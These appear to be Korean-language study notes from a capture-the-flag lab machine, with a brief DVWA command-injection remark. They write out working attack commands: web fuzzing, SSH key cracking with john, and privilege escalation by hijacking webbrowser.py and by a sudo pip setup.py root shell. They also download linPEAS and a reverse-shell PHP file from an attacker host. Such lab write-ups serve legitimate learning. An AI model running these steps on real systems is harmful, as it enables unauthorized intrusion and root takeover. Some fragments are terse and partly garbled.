nmap port scan

↳ 22 . 80 /~ my files

gobuster 사용해서 192.168.16.56/____/ 찾음

192.168.16.56/~myfiles/ → 404 Error

192.168.16.56/~FUZZ/ 사용해서 스캔

→ 192.168.16.56/~secret/ 발견

nikto, dirb . dirbust . wpscan → 웹서버 스캔

sudo ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

-u http://192.168.16.56/~secret/_FUZZ -t 200 -c -e .py, .rar ···

-ic -fc 403

→ Base58 로 decode

ssh key 찾음.

sudo ssh2john victim_id_rsa > hash_pw

sudo john --wordlist = /usr/share/wordlists/fasttrack.txt hash_pw

fasttrack을 이용하라는 힌트가 있음.

sudo -l # sudo 권한으로 실행 가능한 명령어 탐색

→ /home/arsene/heist.py 사용가능

wget https://.../linPEAS

chmod +x linPEAS

wget https://.../linPEAS.sh

./linpeas.sh # 권한상승 취약점 탐색 스크립트

CVE - (년도) - (번호) : 공개적으로 알려진 취약점 번호

sudo 사용가능한 py file

: import webbrowser # webbrowser.py import

print ("Its not yet ready to get in action")

webbrowser.open("주소")

→ vi /usr/lib/python3.9/webbrowser.py

: import threading

os.system("/bin/bash") ← 추가

sudo -u arsene /usr/bin/python3.9 /home/orgera/heist.py # /bin/bash 실행 (arsene으로)

sudo -l ⇒ root 권한, no passwd /usr/bin/pip 가능

TF=$(mktemp -d) # /tmp/tmp.XXX 형태의 임시 디렉토리 생성

echo "import os; os.execl('/bin/sh','sh','-c','sh <$(tty) >$(tty) 2>$(tty)')"

> $TF/setup.py # 생성 python script file 작성

sudo pip install $TF # root 권한 상승

해당 machine internet이 안되는 경우

host에서 : sudo python -m http.server # 현재 directory 기준

→ wget http://192.168.16.11:8000/rshell.php

DVWA

Command injection.

→ 명령어를 연결해 다른 작업도 같이 수행.

medium

→ kk/; 이 들어오면 블라인 배열 함수에 대해 변경